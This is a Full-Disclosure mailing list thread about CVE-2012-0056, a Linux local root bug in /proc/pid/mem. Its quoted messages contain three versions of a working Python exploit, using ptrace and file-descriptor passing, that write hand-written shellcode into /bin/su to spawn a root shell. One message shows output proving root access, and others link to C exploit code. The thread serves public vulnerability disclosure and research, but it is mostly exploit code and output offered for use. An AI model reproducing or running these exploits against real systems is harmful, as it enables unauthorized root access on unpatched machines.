[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up
- To: sd <sd@xxxxxxxxxxxxx>
- Subject: Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up
- From: "Jason A. Donenfeld" <Jason@xxxxxxxxx>
- Date: Tue, 24 Jan 2012 08:35:49 +0100
I really couldn't really decipher the python without squinting, and I
decided I didn't really like this method of going about it; it seems a bit
fuzzy. I want things exact. Presto. Presto exact. I have been awake for a
while and things like "presto exact" now make sense in my head. Maybe yours
isn't fuzzy. I'm not really certain (nor coherent).
So I coded up is something that waits on a pipe for the first printf to
stderr, ptrace traversing using the syscall handler, and then after, it
does a step at a time until it gets to an address below a massive threshold
that is a "call" instruction. Instead of taking EIP here, which doesn't
work if the next call is exit (ubuntu's su, though not 64bit gentoo's), I
read for the 0xe8 call, and then the 4 bytes after that, and add it to EIP
to get where it's going to call to.
First time using ptrace.
The result is this:
http://git.zx2c4.com/CVE-2012-0056/tree/ptrace-offset-finder.c
The four systems I've tested it on, it's completely accurate and very fast.
Now adding the code to mempodipper.
On Mon, Jan 23, 2012 at 21:42, sd <sd@xxxxxxxxxxxxx> wrote:
> ptrace aint exactly rocket science :)
> this one is OCD friendly (no spraying & detects prefix length).
>
> looking forward to your C port (python aint exactly great for real
> world use because of various deps).
>
> #!/usr/bin/python
> # CVE-2012-0056 amd64
> # sd@xxxxxxxxxxxxx
> #
> # hg clone https://bitbucket.org/haypo/python-ptrace
> # (cd python-ptrace && ./setup.py install --home=~)
> # hg clone https://code.google.com/p/python-passfd
> # (cd python-passfd && ./setup.py install --home=~)
> # PYTHONPATH=~/lib/python ./hurrdurr.py
> from socket import *
> from passfd import *
> from os import *
> from socket import *
> from sys import *
> from ptrace.binding import *
> from time import *
>
>
> if argv[-1]=='hax':
> sk=int(argv[1])
> fd=open("/proc/%d/mem"%getppid(),O_WRONLY)
> lseek(fd,int(argv[2]),0)
> sendfd(sk,fd)
> else:
> r,w=pipe()
> pid=fork()
> if not pid:
> dup2(w,2)
> ptrace_traceme()
> execl("/bin/su","su","h4x0rr")
> wait()
> while ptrace_getregs(pid).orig_rax not in (60,231):
> ptrace_syscall(pid)
> wait()
> rip=filter(lambda x: x>0x00400000 and x<0x09000000,
> [ptrace_peektext(pid,
> ptrace_getregs(pid).rsp+i) for i in range(0,256,8)])[0]
>
>
> data=(ptrace_peektext(pid,(rip-4)&(~7))|ptrace_peektext(pid,(rip+4)&(~7))<<64)
>
> rip=((rip+(data>>(((rip-4)&7)*8)))&0xffffffff)-read(r,32).find('h4x0rr')
> a,b=socketpair()
> if not fork():
> execl("/usr/bin/python","python",
> __file__,str(a.fileno()),str(rip),'hax')
> dup2(recvfd(b)[0],2)
> execl("/bin/su","su","\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+
> "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+
> "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+
> "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");
>
>
> 2012/1/23 Jason A. Donenfeld <Jason@xxxxxxxxx>:
> > I started on a ptrace based way of finding things, but I'm a bit of a
> novice
> > in this area. It's not working yet, but progress is here:
> > http://git.zx2c4.com/CVE-2012-0056/tree/exit-ptrace-finder.c
> >
> > Any pointers?
> >
> >
> > On Mon, Jan 23, 2012 at 04:05, Jason A. Donenfeld <Jason@xxxxxxxxx>
> wrote:
> >>
> >> Well done; that's a nice trick. Not really a fan of "spraying" like
> >> that (for irrational 'aesthetic' bullshitty reasons), but this is
> >> quite nice. Still though, you have the lseek offset in there, which is
> >> different for different executables.
> >>
> >> I'm sure there's a way to determine this without read access though --
> >> ptrace, for example, will make a suid binary loose its suidness, but
> >> you could then (I think?) inquire about memory locations and maps.
> >> Once you have the info you need, then you run su normally sans
> >> ptracing in the exploit. Not sure if this works or not. I think there
> >> are a few other similar things you can do when running suid code that
> >> will make it loose suidness, and also a variety of inspection
> >> techniques.
> >>
> >> On Mon, Jan 23, 2012 at 03:46, sd <sd@xxxxxxxxxxxxx> wrote:
> >> > 2012/1/23 Jason A. Donenfeld <Jason@xxxxxxxxx>:
> >> >> NICE! Well, I guess posting that blog post defeated the point of not
> >> >> publishing. :-D
> >> >
> >> > Thanks for compliance with first full-disclosure famwhoring rule:
> >> > always post warez to make kids happy! :)
> >> >
> >> > On a related note, here goes my "private" version which relaxes the
> >> > rules regarding file permissions on /bin/su (ie not world readable).
> >> > This is to point out you can just overwrite 8kb of .text (default
> >> > stderr buffer, more is possible, but without mere nops) instead of
> >> > juggling with objdump.
> >> >
> >> > !/usr/bin/python
> >> > # CVE-2012-0056 amd64
> >> > # sd@xxxxxxxxxxxxx
> >> > #
> >> > # hg clone https://code.google.com/p/python-passfd
> >> > # cd python-passfd; ./setup.py build_ext --inplace; cd src
> >> > # mv ~/hurrdurr.py .
> >> > # ./hurrdurr.py
> >> > from socket import *
> >> > from passfd import *
> >> > from os import *
> >> > from socket import *
> >> > from sys import *
> >> > if argv[-1]=='hax':
> >> > sk=int(argv[1])
> >> > fd=open("/proc/%d/mem"%getppid(),O_WRONLY)
> >> > lseek(fd,0x401000,0)
> >> > sendfd(sk,fd)
> >> > else:
> >> > a,b=socketpair()
> >> > if not fork():
> >> > execl("/usr/bin/python","python",
> >> > __file__,str(a.fileno()),'hax')
> >> > dup2(recvfd(b)[0],2)
> >> >
> >> >
>
> execl("/bin/su","su",("\x90"*8000)+"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+
> >> > "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+
> >> > "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+
> >> > "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");
> >> >
> >> >
> >> >
> >> >>
> >> >> So, here's my code:
> >> >> http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
> >> >>
> >> >> I wrote the shellcode by hand too, and you can grab the 32 and 64 bit
> >> >> versions from that same tree.
> >> >>
> >> >> Have fun.
> >> >>
> >> >>
> >> >>
> >> >> BTW, before I'm asked, the reason why I don't hard code 12 for the
> >> >> length of the su error string is that it's different on different
> >> >> distros.
> >> >>
> >> >> On Mon, Jan 23, 2012 at 02:14, sd <sd@xxxxxxxxxxxxx> wrote:
> >> >>> 2012/1/23 Jason A. Donenfeld <Jason@xxxxxxxxx>:
> >> >>>> Server presently DoS'd, or dreamhost is tweaking again.
> >> >>>
> >> >>> boring tl;dr - don't play kaminsky on us :)
> >> >>>
> >> >>> #!/usr/bin/python
> >> >>> # CVE-2012-0056 amd64
> >> >>> # sd@xxxxxxxxxxxxx
> >> >>> #
> >> >>> # hg clone https://code.google.com/p/python-passfd
> >> >>> # cd python-passfd; ./setup.py build_ext --inplace; cd src
> >> >>> # mv ~/hurrdurr.py .
> >> >>> # ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut
> -d '
> >> >>> ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
> >> >>> from socket import *
> >> >>> from passfd import *
> >> >>> from os import *
> >> >>> from socket import *
> >> >>> from sys import *
> >> >>> from time import *
> >> >>> if argv[-1]=='hax':
> >> >>> sk=int(argv[1])
> >> >>> fd=open("/proc/%d/mem"%getppid(),O_WRONLY)
> >> >>> lseek(fd,int(argv[2].split('x')[-1],16)-12,0)
> >> >>> sendfd(sk,fd)
> >> >>> sleep(1)
> >> >>> else:
> >> >>> a,b=socketpair()
> >> >>> if not fork():
> >> >>> execl("/usr/bin/python","python",
> >> >>> __file__,str(a.fileno()),argv[1],'hax')
> >> >>> dup2(recvfd(b)[0],2)
> >> >>>
> >> >>> execl("/bin/su","su","\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+
> >> >>>
> "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+
> >> >>>
> "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+
> >> >>> "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");
> >> >>>
> >> >>> --
> >> >>> ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d
> ' '
> >> >>> -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
> >> >>> id
> >> >>> uid=0(root) gid=1000(sd)
> >> >>>
> >> >>>
> groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),110(netdev),125(lastfm),1000(sd)
> >> >
> >> > _______________________________________________
> >> > Full-Disclosure - We believe in it.
> >> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> >> > Hosted and sponsored by Secunia - http://secunia.com/
> >
> >
> >
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/